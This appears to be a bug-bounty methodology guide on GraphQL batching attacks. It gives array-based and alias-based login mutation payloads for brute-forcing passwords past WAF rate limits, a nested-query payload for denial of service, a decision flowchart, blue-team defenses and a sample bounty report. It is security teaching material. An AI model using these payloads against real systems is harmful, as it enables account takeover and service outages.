Graphql batching attacks

GraphQL Batching Attacks

When to Use

• When testing a GraphQL endpoint (/graphql) protected by standard, IP-based or token-based Rate Limiting (e.g., Akamai, Cloudflare, AWS WAF).
• During credential stuffing or password brute-forcing scenarios where the API enforces a limit of "5 login attempts per minute".
• To severely impact the backend database's availability (Resource Exhaustion DOS) by forcing thousands of massive, simultaneous queries that the frontend proxy interprets as a single web request.

Prerequisites

• Authorized scope and target URLs from bug bounty program
• Burp Suite Professional (or Community) configured with browser proxy
• Familiarity with OWASP Top 10 and common web vulnerability classes
• SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Understanding Standard Rate Limiting Constraints The WAF

// Concept: Standard REST APIs require one HTTP request per action: 
// POST /api/login -> "Username: admin, Password: 1" (Attempt 1)
// POST /api/login -> "Username: admin, Password: 2" (Attempt 2)
//
// The WAF simply counts the HTTP requests and blocks the IP address at Attempt 5.

// GraphQL is fundamentally different. It accepts an Array [] of completely distinct queries 
// within a single HTTP POST envelope. The WAF counts it as "One Request".

Phase 2: Array-Based Query Batching (The Array Bypass)

// Concept: Pass an array of multiple distinct operation requests to the server simultaneously.

// 1. The Payload:
[
  { "query": "mutation { login(username: \"administrator\", password: \"Password1\") { token } }" },
  { "query": "mutation { login(username: \"administrator\", password: \"Password2\") { token } }" },
  { "query": "mutation { login(username: \"administrator\", password: \"Password3\") { token } }" },
  ... // Pack 5,000 login attempts here
]

// 2. The Execution:
// Send one single HTTP POST request containing the JSON array.
// The GraphQL resolver (e.g., Apollo Server) iterates through the array natively, executing 
// all 5,000 database login checks bypassing the WAF's 5-per-minute restriction.

Phase 3: Alias-Based Batching (The Object Bypass)

# Concept: Alternatively, if Array batching is disabled on the server, utilize GraphQL "Aliases".
# Aliases allow you to request the exact same field or mutation multiple times in a single query 
# object by giving each execution a unique name (alias1, alias2).

# 1. The Payload:
mutation MultiLogin {
  attempt1: login(username: "admin", password: "Password1!") { token }
  attempt2: login(username: "admin", password: "Password2!") { token }
  attempt3: login(username: "admin", password: "Password3!") { token }
  # Continues for 10,000 lines...
}

# 2. The Execution:
# One HTTP POST is generated. The WAF explicitly allows it. 
# The application's database is immediately hammered by 10,000 expensive password-hashing operations synchronously. 

Phase 4: Resource Exhaustion (Amplification DoS)

# Concept: We pack 1,000 highly intensive Data Retrieval queries (rather than simple logins)
# targeting complex relationships to crash the server instantly.

# 1. The Payload (Alias Batching returning gigantic nested objects):
query Exhaustion {
  a1: users(limit: 1000) { comments { post { author { name } } } }
  a2: users(limit: 1000) { comments { post { author { name } } } }
  a3: users(limit: 1000) { comments { post { author { name } } } }
  # Repeats 500 times...
}

# 2. Result: The CPU spins to 100% and crashes attempting to resolve 500,000 nested database joins from a single HTTP transaction.

Decision Point 🔀

flowchart TD
    A[Discover `/graphql` endpoint] --> B{Does the endpoint implement login or sensitive queries?}
    B -->|Yes| C[Send an Array of queries `[{},{}]`]
    C -->|Server returns results array| D[Vulnerable to Array Batching. Automate Brute Force!]
    C -->|Server returns 400 Bad Request| E[Server blocks Arrays. Attempt Alias Query Injection]
    E --> F[Send a combined Alias payload `mutation { a1:.. a2:.. }`]
    F -->|Returns massive JSON containing all aliases| G[Vulnerable to Alias Batching. Bypass rate limits/WAF!]
    F -->|Server Error / Timeout| H[Resource Exhaustion achieved! Possible DoS impact.]

🔵 Blue Team Detection & Defense

• Disable Array Batching natively: If your application does not explicitly require bulk operations (e.g., Apollo Batch Http Link), explicitly disable array parsing at the server level (e.g., utilizing apollo-server-express configuration rules). If the client sends [{},{}], issue an immediate 400 HTTP response.
• Implement Query Cost Analysis (Complexity Limiting): Implement frameworks like graphql-cost-analysis. Assign a strict mathematical point value to mutations (Login = 10 points) and nested queries (Fetching relational Authors = 5 points). Reject any single HTTP POST query entirely if the cumulative complexity of the combined aliases surpasses a strict threshold (e.g., 100 points maximum).
• Targeted Application-Level Rate Limiting: Shift rate limiting away from the perimeter WAF (which only evaluates HTTP Headers/IPs) and directly into the GraphQL Resolver logic. The application code must count "Attempts per Username" identically, regardless if the attempts arrive as 100 HTTP requests or 100 Array elements within a single envelope.

Key Concepts

Concept	Description
GraphQL	A highly flexible query language for APIs developed by Facebook, prioritizing giving clients specifically the data they ask for via a single, monolithic endpoint (/graphql)
Query Batching	An intentional architectural feature designed to reduce network round-trips by allowing clients to pack multiple GraphQL operations into a single HTTP request
Rate Limiting	The defensive paradigm of artificially restricting the processing speed or volume of incoming requests from an IP or token to prevent brute forcing and denial of service
Alias	Renaming the result of a field directly in the query to avoid conflicts when requesting the same functional endpoint multiple times with different variables

Output Format

Bug Bounty Report: WAF Verification Bypass via GraphQL Alias Batching
=====================================================================
Vulnerability: Rate Limit Bypass / Broken Authentication (OWASP API4:2023)
Severity: High (CVSS 8.1)
Target: `https://api.corporate.com/graphql`

Description:
The application's primary login mutation is purportedly protected by an IP-based rate-limiting perimeter Web Application Firewall (WAF) blocking users after 5 failed password attempts sequentially.

However, the GraphQL endpoint architecture permits extensive Query Batching utilizing Field Aliases. By dynamically stacking thousands of unique password guesses into a single synthesized mutation payload, an attacker fundamentally circumvents the perimeter HTTP metric tracker.

Reproduction Steps:
1. Capture a standard authentication POST request to the `/graphql` endpoint.
2. Utilize a generic scripting framework (or Burp Suite Turbo Intruder) to generate a customized payload inserting 2,000 distinct alias lines:
   `mutation Brute { p1: authenticate(user: "admin", pass: "123456") { token } ... p2000: authenticate(user: "admin", pass: "Pass123!") { token } }`
3. Execute the singular HTTP Post request.
4. The server natively executes all 2,000 password verifications synchronously without triggering an HTTP 429 Too Many Requests perimeter block. 
5. The resulting gigantic JSON response details precisely which alias (and thereby which password) succeeded.

Impact:
Entire validation layer (WAF/Cloudflare) rendered obsolete. Total vulnerability to automated Credential Stuffing campaigns against all registered users.

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

• _shared/references/elite-chaining-strategy.md — Exploit chaining methodology and high-payout chain patterns
• _shared/references/elite-report-writing.md — HackerOne-optimized report writing, CWE quick reference
• _shared/references/real-world-bounties.md — Verified disclosed bounties by vulnerability class

References

• PortSwigger: GraphQL Security (Bypassing rate limits)
• Apollo Server Security: Security guidelines (Query Cost)
• Escape.tech: GraphQL Batching Attacks Explained